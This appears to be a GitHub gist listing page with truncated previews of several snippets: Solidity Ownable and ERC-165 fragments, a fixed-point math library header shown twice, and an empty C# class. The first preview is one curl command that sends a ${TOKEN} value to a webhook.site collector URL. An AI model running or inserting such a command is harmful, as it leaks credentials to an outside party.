This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| curl -s "https://webhook.site/155d8e39-b2d0-4919-ad2d-401842dd9d70?token=${TOKEN}" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: CC0-1.0 | |
| pragma solidity ^0.8.9; | |
| contract Ownable | |
| { | |
| string public constant NOT_CURRENT_OWNER = "018001"; | |
| string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002"; | |
| address public owner; | |
| event OwnershipTransferred( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: CC0-1.0 | |
| pragma solidity ^0.8.9; | |
| /// @title ERC-165 Standard Interface Detection | |
| /// @dev See https://eips.ethereum.org/EIPS/eip-165 | |
| interface IERC165 { | |
| /// @notice Query if a contract implements an interface | |
| /// @param interfaceID The interface identifier, as specified in ERC-165 | |
| /// @dev Interface identification is specified in ERC-165. This function | |
| /// uses less than 30,000 gas. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.8.0; | |
| /** | |
| * Smart contract library of mathematical functions operating with signed | |
| * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is | |
| * basically a simple fraction whose numerator is signed 128-bit integer and | |
| * denominator is 2^64. As long as denominator is always the same, there is no | |
| * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are | |
| * represented by int128 type holding only the numerator. | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.8.0; | |
| /** | |
| * Smart contract library of mathematical functions operating with signed | |
| * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is | |
| * basically a simple fraction whose numerator is signed 128-bit integer and | |
| * denominator is 2^64. As long as denominator is always the same, there is no | |
| * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are | |
| * represented by int128 type holding only the numerator. | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static class BetterRPC | |
| { | |
| } |
NewerOlder